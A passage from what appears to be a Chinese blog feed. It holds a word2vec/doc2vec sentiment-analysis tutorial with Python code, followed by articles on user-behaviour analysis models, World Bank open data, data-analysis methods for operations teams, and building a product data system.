由于这是一个 300 维的向量，为了在 2D 视图中对其进行可视化，我们需要利用 Scikit-Learn 中的降维算法 t-SNE 处理源数据。

import numpy as np
import gensim
from sklearn.manifold import TSNE
import matplotlib.pyplot as plt

model = gensim.models.KeyedVectors.load_word2vec_format('./data/GoogleNews-vectors-negative300.bin', binary=True)

with open('./data/food_words.txt', 'r') as infile:
    food_words = infile.readlines()

with open('./data/sports_words.txt', 'r') as infile:
    sports_words = infile.readlines()

with open('./data/weather_words.txt', 'r') as infile:
    weather_words = infile.readlines()


def get_word_vecs(words):
    vecs = []
    for word in words:
        word = word.replace('\n', '')
        try:
            vecs.append(model[word].reshape((1, 300)))
        except KeyError:
            continue
    vecs = np.concatenate(vecs)
    return np.array(vecs, dtype='float')  # TSNE expects float type values


food_vecs = get_word_vecs(food_words)
sports_vecs = get_word_vecs(sports_words)
weather_vecs = get_word_vecs(weather_words)

ts = TSNE(2)
reduced_vecs = ts.fit_transform(np.concatenate((food_vecs, sports_vecs, weather_vecs)))

# color points by word group to see if Word2Vec can separate them
for i in range(len(reduced_vecs)):
    if i < len(food_vecs):
        color = 'b'  # food words colored blue
    elif len(food_vecs) <= i < (len(food_vecs) + len(sports_vecs)):
        color = 'r'  # sports words colored red
    else:
        color = 'g'  # weather words colored green
    plt.plot(reduced_vecs[i, 0], reduced_vecs[i, 1], marker='o', color=color, markersize=8)
plt.show()

从上图可以看出，Word2Vec 很好地分离了不相关的单词，并对它们进行聚类处理。

Emoji 推文的情感分析

利用 emoji 表情对我们的数据添加模糊的标签。笑脸表情:-）表示乐观情绪，皱眉标签:-(表示悲观情绪。总的 400000 条推文被分为乐观和悲观两组数据。我们随机从这两组数据中抽取样本，构建比例为 8：2 的训练集和测试集。随后，我们对训练集数据构建 Word2Vec 模型，其中分类器的输入值为推文中所有词向量的加权平均值。

训练数据： https://github.com/udaykeith/Meetup-4thNov

# 导入数据并构建 Word2Vec 模型：
from sklearn.model_selection import train_test_split
from gensim.models.word2vec import Word2Vec
import numpy as np
from sklearn.preprocessing import scale
from sklearn.linear_model import SGDClassifier
from sklearn.metrics import roc_curve, auc
import matplotlib.pyplot as plt

with open('twitter_data/pos_tweets.txt', 'r', encoding="utf-8") as infile:
    pos_tweets = infile.readlines()

with open('twitter_data/neg_tweets.txt', 'r', encoding="utf-8") as infile:
    neg_tweets = infile.readlines()

# use 1 for positive sentiment, 0 for negative
y = np.concatenate((np.ones(len(pos_tweets)), np.zeros(len(neg_tweets))))
x_train, x_test, y_train, y_test = train_test_split(np.concatenate((pos_tweets, neg_tweets)), y, test_size=0.2)


def clean_text(corpus):
    corpus = [z.lower().replace('\n', '').split() for z in corpus]
    return corpus


x_train = clean_text(x_train)
x_test = clean_text(x_test)

# Initialize model and build vocab
n_dim = 300
twitter_w2v = Word2Vec(size=n_dim, min_count=10)
twitter_w2v.build_vocab(x_train)

# Train the model over train_reviews (this may take several minutes)
twitter_w2v.train(x_train, epochs=twitter_w2v.epochs, total_examples=twitter_w2v.corpus_count)


# 获得推文中所有词向量的平均值
# Build word vector for training set by using the average value of all word vectors in the tweet, then scale
def build_word_vector(text, size):
    vec = np.zeros(size).reshape((1, size))
    count = 0.
    for word in text:
        try:
            vec += twitter_w2v.wv[word].reshape((1, size))
            count += 1.
        except KeyError:
            continue
    if count != 0:
        vec /= count
    return vec


# 调整数据集的量纲是数据标准化处理的一部分，我们通常将数据集转化成服从均值为零的高斯分布，这说明数值大于均值表示乐观，反之则表示悲观。
train_vecs = np.concatenate([build_word_vector(z, n_dim) for z in x_train])
train_vecs = scale(train_vecs)

# Train word2vec on test tweets
twitter_w2v.train(x_test, epochs=twitter_w2v.epochs, total_examples=twitter_w2v.corpus_count)

# 建立测试集向量并对其标准化处理：
# Build test tweet vectors then scale
test_vecs = np.concatenate([build_word_vector(z, n_dim) for z in x_test])
test_vecs = scale(test_vecs)

lr = SGDClassifier(loss='log', penalty='l1')
lr.fit(train_vecs, y_train)

print('Test Accuracy: %.2f' % lr.score(test_vecs, y_test))

# Create ROC curve
pred_probas = lr.predict_proba(test_vecs)[:, 1]
fpr, tpr, _ = roc_curve(y_test, pred_probas)
roc_auc = auc(fpr, tpr)
plt.plot(fpr, tpr, label='area = %.2f' % roc_auc)
plt.plot([0, 1], [0, 1], 'k--')
plt.xlim([0.0, 1.0])
plt.ylim([0.0, 1.05])
plt.legend(loc='lower right')
plt.show()

返回结果：Test Accuracy: 0.73

在没有创建任何类型的特性和最小文本预处理的情况下，利用 Scikit-Learn 构建的简单线性模型的预测精度为 73%。有趣的是，删除标点符号会影响预测精度，这说明 Word2Vec 模型可以提取出文档中符号所包含的信息。处理单独的单词，训练更长时间，做更多的数据预处理工作，和调整模型的参数都可以提高预测精度。使用人工神经网络（ANNs）模型可以提高 5% 的预测精度。需要注意的是，Scikit-Learn 没有提供 ANN 分类器的实现工具，所以利用了创建的自定义库： https://github.com/mczerny/NNet

from NNet import NeuralNet

nnet = NeuralNet(100, learn_rate=1e-1, penalty=1e-8)
maxiter = 1000
batch = 150
_ = nnet.fit(train_vecs, y_train, fine_tune=False, maxiter=maxiter, SGD=True, batch=batch, rho=0.9)

print('Test Accuracy: %.2f' % nnet.score(test_vecs, y_test))

执行后的结果为 Test Accuracy: 0.67，反而更差了。另外NNet在执行时会报错，需要对报错的地方进行修复，代码混乱，不建议使用。

利用 Doc2Vec 分析电影评论数据

利用词向量均值对推文进行分析效果不错，这是因为推文通常只有十几个单词，所以即使经过平均化处理仍能保持相关的特性。一旦我们开始分析段落数据时，如果忽略上下文和单词顺序的信息，那么我们将会丢掉许多重要的信息。在这种情况下，最好是使用 Doc2Vec 来创建输入信息。作为一个示例，使用 IMDB 电影评论数据及来测试 Doc2Vec 在情感分析中的有效性（相关代码与上篇中的使用Word2Vec/Doc2Vec对IMDB情感分析基本一致）。该数据集包含 25000 条乐观的电影评论，25000 条悲观评论和 50000 条尚未添加标签的评论。首先对未添加标签的评论数据构建 Doc2Vec 模型：

from gensim.models.doc2vec import Doc2Vec
from gensim.models.doc2vec import TaggedDocument
from sklearn.model_selection import train_test_split
from sklearn.linear_model import SGDClassifier
import numpy as np
import random
from sklearn.metrics import roc_curve, auc
import matplotlib.pyplot as plt

with open('imdb_data/pos.txt', 'r', encoding='utf-8') as infile:
    pos_reviews = infile.readlines()

with open('imdb_data/neg.txt', 'r', encoding='utf-8') as infile:
    neg_reviews = infile.readlines()

with open('imdb_data/unsup.txt', 'r', encoding='utf-8') as infile:
    unsup_reviews = infile.readlines()

# use 1 for positive sentiment, 0 for negative
y = np.concatenate((np.ones(len(pos_reviews)), np.zeros(len(neg_reviews))))
x_train, x_test, y_train, y_test = train_test_split(np.concatenate((pos_reviews, neg_reviews)), y, test_size=0.2)


# Do some very minor text preprocessing
def cleanText(corpus):
    punctuation = """.,?!:;(){}[]"""
    corpus = [z.lower().replace('\n', '') for z in corpus]
    corpus = [z.replace('<br />', ' ') for z in corpus]

    # treat punctuation as individual words
    for c in punctuation:
        corpus = [z.replace(c, ' %s ' % c) for z in corpus]
    corpus = [z.split() for z in corpus]
    return corpus


x_train = cleanText(x_train)
x_test = cleanText(x_test)
unsup_reviews = cleanText(unsup_reviews)


# Gensim's Doc2Vec implementation requires each document/paragraph to have a label associated with it.
# We do this by using the LabeledSentence method. The format will be "TRAIN_i" or "TEST_i" where "i" is
# a dummy index of the review.
def labelizeReviews(reviews, label_type):
    labelized = []
    for i, v in enumerate(reviews):
        label = '%s_%s' % (label_type, i)
        labelized.append(TaggedDocument(v, [label]))
    return labelized


x_train = labelizeReviews(x_train, 'TRAIN')
x_test = labelizeReviews(x_test, 'TEST')
unsup_reviews = labelizeReviews(unsup_reviews, 'UNSUP')

# instantiate our DM and DBOW models
size = 400
model_dm = Doc2Vec(min_count=1, window=10, vector_size=size, sample=1e-3, negative=5, workers=6)
model_dbow = Doc2Vec(min_count=1, window=10, vector_size=size, sample=1e-3, negative=5, dm=0, workers=6)

# build vocab over all reviews
model_dm.build_vocab(x_train + x_test + unsup_reviews)
model_dbow.build_vocab(x_train + x_test + unsup_reviews)

# We pass through the data set multiple times, shuffling the training reviews each time to improve accuracy.
all_train_reviews = x_train + unsup_reviews
for epoch in range(10):
    random.shuffle(all_train_reviews)
    model_dm.train(all_train_reviews, total_examples=model_dm.corpus_count, epochs=1)
    model_dbow.train(all_train_reviews, total_examples=model_dbow.corpus_count, epochs=1)


# Get training set vectors from our models
def get_vecs(model, corpus, size):
    vecs = [np.array(model.docvecs[z.tags[0]]).reshape((1, size)) for z in corpus]
    return np.concatenate(vecs)  # 数组


train_vecs_dm = get_vecs(model_dm, x_train, size)
train_vecs_dbow = get_vecs(model_dbow, x_train, size)
train_vecs = np.hstack((train_vecs_dm, train_vecs_dbow))

# train over test set
all_test = x_test + []
for epoch in range(10):
    random.shuffle(all_test)
    model_dm.train(all_test, total_examples=model_dm.corpus_count, epochs=1)
    model_dbow.train(all_test, total_examples=model_dbow.corpus_count, epochs=1)

# Construct vectors for test reviews
test_vecs_dm = get_vecs(model_dm, x_test, size)
test_vecs_dbow = get_vecs(model_dbow, x_test, size)
test_vecs = np.hstack((test_vecs_dm, test_vecs_dbow))

lr = SGDClassifier(loss='log', penalty='l1')
lr.fit(train_vecs, y_train)
print('Test Accuracy: %.2f' % lr.score(test_vecs, y_test))

# Create ROC curve
pred_probas = lr.predict_proba(test_vecs)[:, 1]
fpr, tpr, _ = roc_curve(y_test, pred_probas)
roc_auc = auc(fpr, tpr)
plt.plot(fpr, tpr, label='area = %.2f' % roc_auc)
plt.plot([0, 1], [0, 1], 'k--')
plt.xlim([0.0, 1.0])
plt.ylim([0.0, 1.05])
plt.legend(loc='lower right')
plt.show()

执行后准确率为：Test Accuracy: 0.83

简述常用的用户行为分析模型

Sat, 10 Aug 2019 17:21:07 CST

在产品的设计与运营过程中，通过数据对用户行为进行分析，我们可以总结分析出用户行为与产品之间的关联，并针对性地对产品做出改进。

一、常见用户行为分析模型

在数据分析的大框架下，通过对用户行为监测获得的数据进行分析研究的行为归结于用户行为分析。用户行为分析可以让产品更加详细、清楚地了解用户的行为习惯，从而找出网站、app、推广渠道等产品存在的问题，有助于产品发掘高转化率页面，让产品的营销更加精准、有效，提高业务转化率。

用户分析是用户中心的设计流程中的第一步。是一种理解用户，将他们的目标、需求与商业宗旨相匹配的理想方法，可以帮助企业定义产品的目标用户群。在用户行为领域，数据的使用及挖掘是非常重要的，通过数据分析方法的科学应用，经过理论推导，能够相对完整地揭示用户行为的内在规律，基于此帮助产品实现多维交叉分析。

针对用户行为分析，通常分为如下几个方法：

行为事件分析
页面点击分析
用户行为路径分析
漏斗模型分析
用户健康度分析
用户画像分析

二、常见分析模型的作用与应用场景

1. 行为事件分析

1）作用：行为事件分析方法主要用于研究某行为事件的发生对产品的影响以及影响程度。

2）应用场景：针对某一具体行为，进行深度下钻分析，分析维度全面细致，确认导致该行为的原因;或针对某一结果现象，回溯可能造成此现象的行为是什么。例如查看功能模块的渗透率，回溯点击该功能和不点击该功能的用户有什么行为差别。

3）涉及的数据指标：每个产品根据产品特性，会有不同的行为事件和筛选维度，但基本涵盖了该业务所需要的所有数据指标维度，进行前期数据规划中，需要对可分析事件进行全量数据埋点。后期平台运营过程中，将依赖于前期的数据采集规划。

4）图例：

2. 页面点击分析

1）作用：点击分析被应用于显示页面区域中不同元素点击密度的图示，可以：

精准评估用户与产品交互背后的深层关系
实现产品的跳转路径分析，完成产品页面之间的深层次的关系需求挖掘
与其他分析模型配合，全面视角探索数据价值
直观的对比和分析用户在页面的聚焦度、页面浏览次数和人数以及页面内各个可点击元素的百分比。

2）应用场景：通常用于首页、活动页、产品详情页等存在复杂交互逻辑的页面分析。一般分为可视化热力图、固定埋点两种形式。

3）涉及的数据指标：

浏览次数（PV）：该页面被浏览的次数。
浏览人数（UV）：该页面被浏览的人数。
页面内点击次数：该页面内所有可点击元素的总次数。
页面内点击人数：该页面内所有可点击元素的总人数。
点击人数占比：页面内点击人数/浏览人数。

4）图例：

页面点击热力图

鼠标滑动热力图

3. 用户行为路径分析

1）作用：明确用户现存路径有哪些，发现路径问题，或优化用户行为沿着最优访问路径前进，结合业务场景需求进行前端布局调整

2）应用场景：确定产品用户从访问到转化/流失都经过了哪些流程，转化用户与流失用户是否有行为区别，以及用户行为路径是否符合预期

3）涉及的数据指标：全链路页面级PV、UV，以及路径流转关系

4）图例：

4. 漏斗模型分析

1）作用：从一个事件环节的最开始到最终转化成购买的整个流程中的一个个子环节，相邻环节的转化率表现力。就是指用数据指标来量化每一个步骤的表现。（流量漏斗模型在产品中的经典运用是AARRR模型，不过现在已经流行更新的RARRA模型）

2）应用场景：衡量每一个转化步骤的转化率，通过异常数据指标找出有问题的环节并解决，最终提升整体购买转化率

3）涉及的数据指标：转化周期（每层漏斗的时间的集合）、转化率（每层漏斗之间的）

4）图例

5. 用户健康度分析

1）作用：用户健康度是基于用户行为数据综合考虑的核心指标，体现产品的运营情况，为产品的发展进行预警。包括三大类型指标：产品基础指标、流量质量指标、产品营收指标。

2）应用场景：更大范围的业务综合指标考量，体现完整产品运营情况，预测未来发展。

3）涉及的数据指标：

产品基础指标，主要评价产品本身的运行状态：DAU、PV、UV、新用户数
流量质量指标，主要评价用户流量的质量高低：跳出率、人均浏览次数、人均停留时间、用户留存率、用户回访率
产品营收指标，主要评价产品的盈利能力与可持续性：用户支付金额（GMV）、客单价、订单转化率

4）产品营收指标恒等式：

销售额=访客数×成交转化率×客单价

销售额=曝光次数×点击率×成交转化率×客单价

5）图例

6. 用户画像分析

1）作用：根据用户的属性、用户偏好、生活习惯、用户行为等信息而抽象出来的标签化用户模型。通过高度精炼用户特征来描述用户，可以让人更容易理解用户，并且可以方便计算机处理

2）应用场景：通过定义用户画像，可以帮助产品运营理解用户，产品设计从为所有人做产品，变成为带有某些标签的人群做产品，产品能够更精细化运营，且设计复杂度降低

3）涉及的数据指标（不限于）：

人口属性：性别、年龄等人的基本信息
兴趣特征：浏览内容、收藏内容、阅读咨询、购买物品偏好等
位置特征：用户所处城市、所处居住区域、用户移动轨迹等
设备属性：使用的终端特征等
行为数据：访问时间、浏览路径等用户在网站的行为日志数据
社交数据：用户社交相关数据

4）用户标签库图例

后续有机会将更新每种分析方法的具体方法步骤及案例，欢迎交流讨论

作者：赵小洛，wechat：luoluo963，邮箱：youlu2409@163.com

本文由 @赵小洛原创发布于人人都是产品经理，未经许可，禁止转载。

题图来自Unsplash，基于CC0协议。

别再说找不到数据啦！这里拥有全世界的数据

Wed, 29 May 2019 12:11:33 CST

今天要为大家介绍的就是世界银行网站 ——一个发现世行数据的新工具和讲述关于世行数据的故事的平台。

网站提供了六大主题领域数据：贫困与不平等、人、环境、经济、国家和市场以及全球链接。每个主题页面都简要地介绍或提供了可得数据的类型、专题指标清单以及关于广泛使用的方法和当前数据难题的信息。

网站的所有数据都可以免费使用，当然也有一些最低限度的限制，需要使用的话自己查阅。

网址： https://data.worldbank.org.cn/

不用翻墙也能正常打开，不过有的功能可能就比较慢。

打开网站，可以在右上角处选择设置语言为中文，然后就可以发现左上角有新手指引，有时间不妨点开看看，比你自己逛会高效一点。

在首页正中央就是搜索功能，比如你输入“人口”，就可以看到人口相关的指标。

选择 “人口，总数”这个，就进入到了人口数据展示的具体页面

右侧也会有相关的指标提供选择，然后最重要的就是提供数据下载功能，不用注册登录，可以直接下载的，下面就是我下载到的数据，每个国家、每年人口总数，数据全的不要不要的。

惊喜的是，它还提供了按收入划分的级别维表，打开这张表首先找中国，一看，哇！被划分为中高等收入国家。

好了，其他的功能、数据就由你们自己去慢慢发掘吧，如果做出什么分析的话，欢迎来稿。

投稿邮箱：xiaowenzi22#qq.com

自行把#替换为@

7000 字深度总结：运营必备的 15 个数据分析方法

Mon, 29 Apr 2019 20:19:57 CST

这篇文章来自 GrowingIO 联合创始人 & 运营副总裁陈明先生，全文总结了 15 个运营必备的数据分析方法论。不论是刚刚入行的萌新，还是深耕多年的老司机，这篇深度总结，都值得你再次回顾。

提起数据分析，大家往往会联想到一些密密麻麻的数字表格，或是高级的数据建模手法，再或是华丽的数据报表。其实，“ 分析 ”本身是每个人都具备的能力，比如根据股票的走势决定购买还是抛出；依照每日的时间和以往经验选择行车路线；购买机票、预订酒店时，比对多家的价格后做出最终选择。

这些小型决策，其实都是依照我们脑海中的数据点作出判断，这就是简单分析的过程。对于业务决策者而言，则需要掌握一套系统的、科学的、符合商业规律的数据分析知识。

一、数据分析的战略思维

无论是产品、市场、运营还是管理者，你必须反思：数据本质的价值，究竟在哪里？从这些数据中，你和你的团队都可以学习到什么？

1. 数据分析的目标

对于企业来讲，数据分析的可以辅助企业优化流程，降低成本，提高营业额，往往我们把这类数据分析定义为商业数据分析。商业数据分析的目标是利用大数据为所有职场人员做出迅捷、高质、高效的决策，提供可规模化的解决方案。商业数据分析的本质在于创造商业价值，驱动企业业务增长。

2. 数据分析的作用

我们常常讲的企业增长模式中，往往以某个业务平台为核心。在这其中，数据和数据分析，是不可或缺的环节。

通过企业或者平台为目标用户群提供产品或服务，而用户在使用产品或服务过程中产生的交互、交易，都可以作为数据采集下来。根据这些数据洞察，通过分析的手段反推客户的需求，创造更多符合需求的增值产品和服务，重新投入用户的使用，从而形成形成一个完整的业务闭环。这样的完整业务逻辑，可以真正意义上驱动业务的增长。

3. 数据分析进化论

我们常常以商业回报比来定位数据分析的不同阶段，因此我们将其分为四个阶段：

阶段 1：观察数据当前发生了什么？

首先基本的数据展示，可以告诉我们发生了什么。例如：公司上周投放了新的搜索引擎 A 的广告，想要比对一周内新渠道 A 比现有渠道 B 情况如何，A、B 各自带来了多少流量，转化效果如何？又比如，新上线的产品有多少用户喜欢，新注册流中注册的人数有多少。这些都需要通过数据来展示结果，都是基于数据本身提供的“发生了什么”。

阶段 2：理解为什么发生？

如果看到了渠道 A 为什么比渠道 B 带来更多的流量，这时候我们就要结合商业来进一步判断这种现象的原因。这时候我们可以进一步通过数据信息进行深度拆分，也许某个关键字带来的流量，也许是该渠道更多地获取了移动端的用户。这种数据深度分析判断，成为了商业分析第二个进阶，也同时能够提供更多商业价值上的体现。

阶段 3：预测未来会发生什么？

而当我们理解了渠道 A、B 带来流量的高低，就根据以往的知识预测未来会发生什么。在投放渠道 C、D 的时候，猜测渠道 C 比渠道 D 好，当上线新的注册流、新的优化，可以知道哪一个节点比较容易出问题；我们也可以通过数据挖掘的手段，自动预测判断 C 和 D 渠道之间的差异，这就是数据分析的第三个进阶，预测未来会发生的结果。

阶段 4：商业决策

所有工作中最有意义的还是商业决策，通过数据来判断应该做什么。而商业数据分析的目的，就是商业结果。当数据分析的产出可以直接转化为决策，或直接利用数据做出决策，那么这才能直接体现出数据分析的价值。

4. 数据分析的 EOI 框架

EOI 的架构是包括 LinkedIn、Google 在内的很多公司定义分析型项目的目标的基本方式，也是首席增长官在思考商业数据分析项目中一种基本的、必备的手段。

其中，我们先会把公司业务项目分为三类：核心任务，战略任务，风险任务。以谷歌为例，谷歌的核心任务是搜索、SEM、广告，这是已经被证明的商业模型，并已经持续从中获得很多利润。谷歌的战略性任务（在 2010 年左右）是安卓平台，为了避免苹果或其他厂商占领，所以要花时间、花精力去做，但商业模式未必成型。风险任务对于创新来说是十分重要的，比如谷歌眼镜、自动驾驶汽车等等。

数据分析项目对这三类任务的目标也不同，对核心任务来讲，数据分析是助力（E），帮助公司更好的盈利，提高盈利效率；对战略任务来说是优化（O），如何能够辅助战略型任务找到方向和盈利点；对于风险任务，则是共同创业（I），努力验证创新项目的重要性。首席增长官需要对公司业务及发展趋势有着清晰的认识，合理分配数据分析资源、制定数据分析目标方向。

二、数据分析的 3 大思路

而面对海量的数据，很多人都不知道从如何准备、如何开展，如何得出结论。下面为大家介绍做数据分析时的 3 个经典的思路，希望在数据分析的实际应用中能给大家带来帮助。

1. 数据分析的基本步骤

上面我们提到了数据分析与商业结果之间关联的重要性，所有商业数据分析都应该以业务场景为起始思考点，以业务决策作为终点。数据分析该先做什么、后做什么。基于此，我们提出了商业数据分析流程的五个基本步骤。

要先挖掘业务含义，理解数据分析的背景、前提以及想要关联的业务场景结果是什么。
需要制定分析计划，如何对场景拆分，如何推断。
从分析计划中拆分出需要的数据，真正落地分析本身。
从数据结果中，判断提炼出商务洞察。
根据数据结果洞察，最终产出商业决策。

举个例子：

某国内互联网金融理财类网站，市场部在百度和 hao123 上都有持续的广告投放，吸引网页端流量。最近内部同事建议尝试投放神马移动搜索渠道获取流量；另外也需要评估是否加入金山网络联盟进行深度广告投放。

在这种多渠道的投放场景下，如何进行深度决策？我们按照上面商业数据分析流程的五个基本步骤来拆解一下这个问题。

第一步：挖掘业务含义。

首先要了解市场部想优化什么，并以此为北极星指标去衡量。对于渠道效果评估，重要的是业务转化：对 P2P 类网站来说，是否发起 “投资理财” 要远重要于 “访问用户数量” 。所以无论是神马移动搜索还是金山渠道，重点在于如何通过数据手段衡量转化效果；也可以进一步根据转化效果，优化不同渠道的运营策略。

第二步，制定分析计划。

以 “投资理财” 为核心转化点，分配一定的预算进行流量测试，观察对比注册数量及最终转化的效果。记下俩可以持续关注这些人重复购买理财产品的次数，进一步判断渠道质量。

第三步，拆分查询数据。

既然分析计划中需要比对渠道流量，那么我们需要各个渠道追踪流量、落地页停留时间、落地页跳出率、网站访问深度以及订单等类型数据，进行深入的分析和落地。

第四步，提炼业务洞察。

根据数据结果，比对神马移动搜索和金山网络联盟投放后的效果，根据流量和转化两个核心KPI，观察结果并推测业务含义。如果神马移动搜索效果不好，可以思考是否产品适合移动端的客户群体；或者仔细观察落地页表现是否有可以优化的内容等，需找出业务洞察。

第五步，产出商业决策。

根据数据洞察，指引渠道的决策制定。比如停止神马渠道的投放，继续跟进金山网络联盟进行评估；或优化移动端落地页，更改用户运营策略等等。

以上这些都是商务数据分析拆解和完成推论的基本步骤。在接下来的内容中，我们都会有这个分析思路。

2. 内外因素分解法

在数据分析的过程中，会有很多因素影响到我们的北极星指标，那么如何找到这些因素呢？在此向大家推荐内外因素分解法。内外因素分解法是把问题拆成四部分，包括内部因素、外部因素、可控和不可控，然后再一步步解决每一个问题。

举个例子：

某社交招聘类网站，分为求职者端和企业端。其盈利模式一般是向企业端收费，其中一个收费方式是购买职位的广告位。业务人员发现， “发布职位” 的数量在过去的 6 月中有缓慢下降的趋势。对于这类某一数据指标下降的问题，可以怎么分析呢？

根据内外因素分解法，我们可以从四个角度依次去分析可能的影响因素。

内部可控因素：产品近期上线更新、市场投放渠道变化、产品粘性、新老用户留存问题、核心目标的转化。
外部可控因素：市场竞争对手近期行为、用户使用习惯的变化、招聘需求随时间的变化。
内部不可控因素：产品策略（移动端/PC端）、公司整体战略、公司客户群定位（比如只做医疗行业招聘）。
外部不可控因素：互联网招聘行业趋势、整体经济形势、季节性变化。

有了内外因素分解法，我们就可以较为全面地分析数据指标，避免可能遗失的影响因素并且对症下药。

3. DOSS 思路

DOSS 思路是从一个具体问题拆分到整体影响，从单一的解决方案找到一个规模化解决方案的方式。首席增长官需要快速规模化有效的增长解决方案，DOSS 是一个有效的途径。

举个例子：

某在线教育平台提供免费课程视频，同时售卖付费会员，为付费会员提供更多高阶课程内容。如果我想将一套计算机技术的付费课程，推送给一群持续在看 C++ 免费课程的用户，那么数据分析应该如何支持呢？

我们按 DOSS 思路的四个步骤，分解如下：

具体问题：预测是否有可能帮助某一群组客户购买课程。
整体影响：首先根据这类人群的免费课程的使用情况进行数据分析、数据挖掘的预测，之后进行延伸，比如对整体的影响，除了计算机类，对其他类型的课程都进行关注。
单一回答：针对该群用户进行建模，监控该模型对于最终转化的影响。
规模化方案：之后推出规模化的解决方案，对符合某种行为轨迹和特征的行为进行建模，产品化课程推荐模型

三、数据分析的 8 种方法

上面介绍了 3 个经典分析思路，它们可以帮你搭建一个清晰的数据分析思路框架。那么对于具体的业务场景问题，我们又该怎么办呢？我们以一个电子商务网站为例，用数据分析产品 GrowingIO 对该网站进行快速地数据采集、清晰和可视化展示，然后给大家分享这 8 种常见的数据分析方法。

1. 数字和趋势

看数字、看趋势是最基础展示数据信息的方式。在数据分析中，我们可以通过直观的数字或趋势图表，迅速了解例如市场的走势、订单的数量、业绩完成的情况等等，从而直观地吸收数据信息，有助于决策的准确性和实时性。

对于电子商务网站，流量是非常重要的指标。上图中，我们将网站的访问用户量（UV）和页面浏览量（PV）等指标汇汇聚到统一的数据看板（Dashboard），并且实时更新。这样的一个数据看板，核心数字和趋势一目了然，对于首席增长官来说一目了然。

2. 维度分解

当单一的数字或趋势过于宏观时，我们需要通过不同的维度对于数据进行分解，以获取更加精细的数据洞察。在选择维度时，需要仔细思考其对于分析结果的影响。

举个例子，当监测到网站流量异常时，可以通过拆分地区、访问来源、设备、浏览器等等维度，发现问题所在。图 7 中，当天网站的访问用户量显著高于上周，这是什么原因呢？当我们按照访问来源对流量进行维度拆分时（图 9 ），不难发现直接访问来源的访问量有非常大的提升，这样就进一步把问题聚焦了。

3. 用户分群

针对符合某种特定行为或背景信息的用户，进行归类处理，是我们常常讲到的用户分群（segmentation ）的手段。我们也可以通过提炼某一群用户的特定信息，创建该群体用户的画像。例如访问购物网站、寄送地址在北京的用户，可以被归类为“北京”用户群体。而针对“北京”用户群体，我们可以进一步观察他们购买产品的频度、类别、时间，这样我们就创建出该用户群体的画像。

在数据分析中，我们往往针对特定行为、特定背景的用户进行有针对性的用户运营和产品优化，效果会更加明显。上图中，我们通过 GrowingIO 的用户分群功能将一次促销活动中支付失败的用户挑选出来，然后推送相应的优惠券。这样精准的营销推广，可以大幅度提高用户支付的意愿和销售金额。

4. 转化漏斗

绝大部分商业变现的流程，都可以归纳为漏斗。漏斗分析是我们最常见的数据分析手段之一，无论是注册转化漏斗，还是电商下单的漏斗。通过漏斗分析可以从先到后还原用户转化的路径，分析每一个转化节点的效率。

其中，我们往往关注三个要点：

从开始到结尾，整体的转化效率是多少？
每一步的转化率是多少？
哪一步流失最多，原因在什么地方？流失的用户符合哪些特征？

上图中注册流程分为 3 个步骤，总体转化率为45.5%；也就是说有 1000 个用户来到注册页面，其中 455 个成功完成了注册。但是我们不难发现第二步的转化率是 56.8% ，显著低于第一步 89.3% 和第三步转化率 89.7%，可以推测第二步注册流程存在问题。显而易见第二步的提升空间是最大的，投入回报比肯定不低；如果要提高注册转化率，我们应该优先解决第二步。

5. 行为轨迹

关注行为轨迹，是为了真实了解用户行为。数据指标本身往往只是真实情况的抽象，例如：网站分析如果只看访问用户量（UV）和页面访问量（PV）这类指标，断然是无法全面理解用户如何使用你的产品。

通过大数据手段，还原用户的行为轨迹，有助于增长团队关注用户的实际体验、发现具体问题，根据用户使用习惯设计产品、投放内容。

上图中展示了一位用户在某电商网站上的详细行为轨迹，从官网到落地页，再到商品详情页，最后又回到官网首页。网站购买转化率低，以往的业务数据无法告诉你具体的原因；通过分析上面的用户行为轨迹，可以发现一些产品和运营的问题（比如是不是商品不匹配等等），从而为决策提供依据。

6. 留存分析

在人口红利逐渐消褪的时代，留住一个老用户的成本要远远低于获取一个新用户。每一款产品，每一项服务，都应该核心关注用户的留存，确保做实每一个客户。我们可以通过数据分析理解留存情况，也可以通过分析用户行为或行为组与回访之间的关联，找到提升留存的方法。

在 LinkedIn，增长团队通过数据发现，如果新用户进来后添加 5 个以上的联系人（上图红色线条），那么他/她在 LinkedIn 上留存要远远高于那些没有添加联系人（上图绿色和紫色的线条）的留存。这样，添加联系人称为 LinkedIn 留存新用户的最核心手段之一。除了需要关注整体用户的留存情况之外，市场团队可以关注各个渠道获取用户的留存度，或各类内容吸引来的注册用户回访率，产品团队关注每一个新功能对于用户的回访的影响等等，这些都是常见的留存分析场景。

7. A/B 测试

A/B 测试用来对比不同产品设计/算法对结果的影响。产品在上线过程中经常会使用 A/B 测试来测试不同产品或者功能设计的效果，市场和运营可以通过 A/B 测试来完成不同渠道、内容、广告创意的效果评估。

举个例子，我们设计了两种不同的产品交互形式，通过比较实验组（A 组）和对照组（B 组）的访问时长和页面浏览量两个衡量指标，来评估哪一种交互形式更佳。

要进行 A/B 测试有两个必备因素：第一，有足够的时间进行测试；第二，数据量和数据密度较高。因为当产品流量不够大的时候，做 A/B 测试得到统计结果是很难的。而像 LinkedIn 这样大体量的公司，每天可以同时进行上千个 A/B 测试。所以 A/B 测试往往在公司数据规模较大时使用会更加精准，更快得到统计的结果。

8. 数学建模

当一个商业目标与多种行为、画像等信息有关联性时，我们通常会使用数学建模、数据挖掘的手段进行建模，预测该商业结果的产生。

作为一家 SaaS 企业，当我们需要预测判断客户的流失时，可以通过用户的行为数据、公司信息、用户画像等数据建立流失模型。利用统计学的方式进行一些组合和权重计算，从而得知用户满足哪些行为之后流失的可能性会更高。

我们常常说，不能度量，就无法增长，数据分析对于企业商业价值的提升有着至关重要的作用。当然仅仅掌握单纯的理论还远远不够，实践出真知。数据分析的方法大家不妨在自己日常工作中，有分析相关项目里尝试使用，相信可以事半功倍，创造更多商业价值。

作者：陈明，微信公众号：GrowingIO

来源： https://mp.weixin.qq.com/s/K28EQ2SVJfcBlpJCorw0Rw

本文由@GrowingIO 授权发布于人人都是产品经理，未经许可，禁止转载

题图来自Unsplash, 基于CC0协议

产品数据体系建设基础：一个产品的数据体系建设

Sat, 06 Oct 2018 16:18:36 CST

本文抽象介绍了一个产品数据体系建设，以支持产品了解数据如何采集、计算与展现。

近期有师弟师妹不断问到产品经理必备技能中，数据分析是怎么回事？产品怎么就有数据可以分析了？

简单了解了下其产生问题的原因与诉求，将其问题拆分为二：

产品的数据体系如何建设？
如何进行数据分析？

关于问题2，网上已经有足够丰富的资源进行学习与讨论，这里不再赘述，简而言之根据运营或迭代的目的进行深度思考与结论沉淀。

